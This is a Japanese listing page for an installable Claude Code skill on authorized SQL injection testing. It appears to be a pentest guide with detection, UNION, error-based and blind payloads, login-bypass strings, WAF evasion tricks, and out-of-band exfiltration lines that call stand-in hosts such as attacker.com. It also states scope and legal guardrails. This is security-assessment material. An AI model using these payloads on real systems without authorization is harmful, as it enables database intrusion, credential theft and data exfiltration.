SQL Injection Testing について
SQL Injection Testing は、許可を得た Web アプリケーションのセキュリティ評価向けスキルです。複数のデータベースを対象に、SQL インジェクションの検出と検証、証拠の記録、修正案の作成を進める手順を示します。
主な機能
- 01入力箇所とパラメーターの調査
- 02インバンドおよびブラインドテスト
- 03認証バイパスの評価
- 04フィルター回避手法
- 05証拠と修正案のレポート
活用シーン
- 01許可された範囲のアプリパラメーターのテスト
- 02ログインフォームの注入脆弱性確認
- 03ブラインド SQL インジェクションの挙動評価
- 04脆弱性の所見と修正案の作成
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ davila7/ claude-code-templates --skill sql-injection-testingインストール後、Claude Code で/sql-injection-testingを入力して読み込まれたか確認します。
詳細
SQLインジェクションテスト
目的
Webアプリケーションに対して包括的なSQLインジェクションの脆弱性評価を実施し、データベースのセキュリティ上の欠陥を特定し、悪用手法を実証し、入力サニタイズの仕組みを検証します。このスキルにより、アプリケーションのセキュリティ態勢を評価するために、インバンド、ブラインド、アウトオブバンドの各攻撃ベクトルにわたるSQLインジェクション脆弱性を体系的に検出・悪用できます。
入力 / 前提条件
必要なアクセス権
- インジェクション可能なパラメーターを持つ対象WebアプリケーションのURL
- リクエスト操作用のBurp Suiteまたは同等のプロキシツール
- 自動化された悪用のためのSQLMapのインストール
- 開発者ツールが有効化されたブラウザー
技術要件
- SQLクエリ構文の理解(MySQL、MSSQL、PostgreSQL、Oracle)
- HTTPリクエスト/レスポンスのサイクルに関する知識
- データベーススキーマおよび構造への理解
- テストレポートに対する書き込み権限
法的前提条件
- ペネトレーションテストに関する書面による承認
- 対象URLおよびパラメーターを含む定義済みのスコープ
- 緊急連絡手順の確立
- データ取り扱い契約の締結
出力 / 成果物
主要な出力
- 重大度評価付きのSQLインジェクション脆弱性レポート
- 抽出されたデータベーススキーマおよびテーブル構造
- 認証バイパスの概念実証(PoC)によるデモンストレーション
- コード例を含む修正の推奨事項
証跡アーティファクト
- 成功したインジェクションのスクリーンショット
- HTTPリクエスト/レスポンスのログ
- データベースのダンプ(サニタイズ済み)
- ペイロードのドキュメント
中核となるワークフロー
フェーズ1: 検出と偵察
インジェクション可能なパラメーターの特定
データベースクエリと連携する、ユーザー制御の入力フィールドを特定します。
# Common injection points
- URL parameters: ?id=1, ?user=admin, ?category=books
- Form fields: username, password, search, comments
- Cookie values: session_id, user_preference
- HTTP headers: User-Agent, Referer, X-Forwarded-For
基本的な脆弱性の兆候のテスト
特殊文字を挿入してエラー応答を引き起こします。
-- Single quote test
'
-- Double quote test
"
-- Comment sequences
--
#
/**/
-- Semicolon for query stacking
;
-- Parentheses
)
アプリケーションの応答で次の点を監視します。
- クエリ構造を明らかにするデータベースのエラーメッセージ
- 予期しないアプリケーションの動作の変化
- HTTP 500 Internal Server Error
- 変更された応答内容または長さ
ロジックテスト用ペイロード
ブール値ベースの脆弱性の存在を検証します。
-- True condition tests
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--
-- False condition tests
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--
真の条件と偽の条件の応答を比較し、インジェクションの可能性を確認します。
フェーズ2: 悪用手法
UNIONベースの抽出
攻撃者が制御するSELECT文を元のクエリと結合します。
-- Determine column count
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- Continue until error occurs
-- Find displayable columns
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--
-- Extract data
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
エラーベースの抽出
情報を漏えいさせるデータベースエラーを意図的に発生させます。
-- MSSQL version extraction
1' AND 1=CONVERT(int,(SELECT @@version))--
-- MySQL extraction via XPATH
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--
-- PostgreSQL cast errors
1' AND 1=CAST((SELECT version()) AS int)--
ブラインドブール値ベースの抽出
アプリケーションの動作の変化からデータを推測します。
-- Character extraction
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--
-- Conditional responses
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
時間ベースのブラインド抽出
データベースのスリープ関数を使用して確認します。
-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--
-- MSSQL
1'; WAITFOR DELAY '0:0:5'--
-- PostgreSQL
1'; SELECT pg_sleep(5)--
アウトオブバンド(OOB)抽出
外部チャネルを通じてデータを持ち出します。
-- MSSQL DNS exfiltration
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--
-- MySQL DNS exfiltration
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--
-- Oracle HTTP request
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
フェーズ3: 認証バイパス
ログインフォームの悪用
認証情報の検証を回避するためのペイロードを作成します。
-- Classic bypass
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--
-- Username enumeration
admin' AND '1'='1
admin' AND '1'='2
クエリ変換の例:
-- Original query
SELECT * FROM users WHERE username='input' AND password='input'
-- Injected (username: admin'--)
SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- Password check bypassed via comment
フェーズ4: フィルターバイパス手法
文字エンコーディングによるバイパス
特殊文字がブロックされている場合に使用します。
-- URL encoding
%27 (single quote)
%22 (double quote)
%23 (hash)
-- Double URL encoding
%2527 (single quote)
-- Unicode alternatives
U+0027 (apostrophe)
U+02B9 (modifier letter prime)
-- Hexadecimal strings (MySQL)
SELECT * FROM users WHERE name=0x61646D696E -- 'admin' in hex
空白文字のバイパス
ブロックされた空白の代替を使用します。
-- Comment substitution
SELECT/**/username/**/FROM/**/users
SEL/**/ECT/**/username/**/FR/**/OM/**/users
-- Alternative whitespace
SELECT%09username%09FROM%09users -- Tab character
SELECT%0Ausername%0AFROM%0Ausers -- Newline
キーワードのバイパス
ブラックリストに登録されたSQLキーワードを回避します。
-- Case variation
SeLeCt, sElEcT, SELECT
-- Inline comments
SEL/*bypass*/ECT
UN/*bypass*/ION
-- Double writing (if filter removes once)
SELSELECTECT → SELECT
UNUNIONION → UNION
-- Null byte injection
%00SELECT
SEL%00ECT
クイックリファレンス
検出テストの手順
1. Insert ' → Check for error
2. Insert " → Check for error
3. Try: OR 1=1-- → Check for behavior change
4. Try: AND 1=2-- → Check for behavior change
5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay
データベースのフィンガープリンティング
-- MySQL
SELECT @@version
SELECT version()
-- MSSQL
SELECT @@version
SELECT @@servername
-- PostgreSQL
SELECT version()
-- Oracle
SELECT banner FROM v$version
SELECT * FROM v$version
information_schema クエリ
-- MySQL/MSSQL table enumeration
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
-- Column enumeration
SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Oracle equivalent
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
よく使うペイロードの一覧
| 目的 | ペイロード |
|---|---|
| 基本テスト | ' または " |
| ブール値 真 | OR 1=1-- |
| ブール値 偽 | AND 1=2-- |
| コメント(MySQL) | # または -- |
| コメント(MSSQL) | -- |
| UNIONの探索 | UNION SELECT NULL-- |
| 時間遅延 | AND SLEEP(5)-- |
| 認証バイパス | ' OR '1'='1 |
制約とガードレール
運用上の境界
- 明示的な承認なしに破壊的なクエリ(DROP、DELETE、TRUNCATE)を実行しないこと
- データ抽出は概念実証に必要な最小限の量に制限すること
- リソースを大量に消費するクエリによるサービス妨害を避けること
- 実際のユーザーデータを含む本番データベースを検出した場合は、直ちに停止すること
技術的な制限
- WAF/IPS が一般的なペイロードをブロックする場合があり、回避テクニックが必要になります
- パラメータ化クエリにより、標準的なインジェクションは防がれます
- 一部のブラインドインジェクションでは大量のリクエストが必要になります(レート制限への懸念があります)
- 2 次インジェクションを理解するには、データフローの把握が必要です
法的および倫理的な要件
- テストの前に、書面によるスコープ合意が必要です
- 抽出したすべてのデータを記録し、データ保護の要件に従って取り扱ってください
- 重大な脆弱性は、合意済みの連絡経路を通じてただちに報告してください
- スコープの要件を超えるデータには、決してアクセスしないでください
例
例 1: E コマースの商品ページに対する SQLi
シナリオ: ID パラメータを使用する商品表示ページをテストします
初期リクエスト:
GET /product.php?id=5 HTTP/1.1
検出テスト:
GET /product.php?id=5' HTTP/1.1
Response: MySQL error - syntax error near '''
カラムの列挙:
GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
Response: Normal
GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
Response: Error (4 columns confirmed)
データの抽出:
GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
Response: Displays admin credentials
例 2: 時間ベースのブラインド抽出
シナリオ: 目に見える出力がなく、ブラインドインジェクションを確認します
脆弱性の確認:
id=5' AND SLEEP(5)--
-- Response delayed by 5 seconds (vulnerable confirmed)
データベース名の長さの抽出:
id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
-- Delay confirms database name is 8 characters
文字の抽出:
id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
-- Iterate through characters to extract: 'appstore'
例 3: ログインバイパス
対象: 管理者ログインフォーム
標準的なログインクエリ:
SELECT * FROM users WHERE username='[input]' AND password='[input]'
インジェクションペイロード:
Username: administrator'--
Password: anything
結果として実行されるクエリ:
SELECT * FROM users WHERE username='administrator'--' AND password='anything'
結果: パスワードチェックがバイパスされ、管理者として認証されました。
トラブルシューティング
エラーメッセージが表示されない
- アプリケーションが汎用的なエラー処理を使用しています
- ブール値ベースまたは時間ベースのブラインドインジェクション手法に切り替えてください
- レスポンスの内容ではなく、レスポンス長の差異を監視してください
UNION インジェクションが失敗する
- カラム数が正しくない可能性があります → ORDER BY を使ってテストしてください
- データ型が一致しない可能性があります → まずすべてのカラムに NULL を使用してください
- 結果が表示されない可能性があります → インジェクション可能なカラムの位置を特定してください
WAF によりリクエストがブロックされる
- エンコード手法(URL、16 進数、Unicode)を使用してください
- キーワードの内部にインラインコメントを挿入してください
- 同じ操作に対して別の構文を試してください
- ペイロードを複数のパラメータに分割してください
ペイロードが実行されない
- データベースの種類に合ったコメント構文が正しいか確認してください
- アプリケーションがパラメータ化クエリを使用していないか確認してください
- 入力がクライアント側でフィルタリングされず、SQL クエリに到達しているか確認してください
- 別のインジェクションポイント(ヘッダー、Cookie)を試してください
時間ベースのインジェクションの結果が安定しない
- ネットワークの遅延により、誤検知が発生する場合があります
- 判別しやすいように、より長い遅延(10 秒以上)を使用してください
- 複数回テストを実行し、パターンを確認してください
- サーバー側のキャッシュの影響を検討してください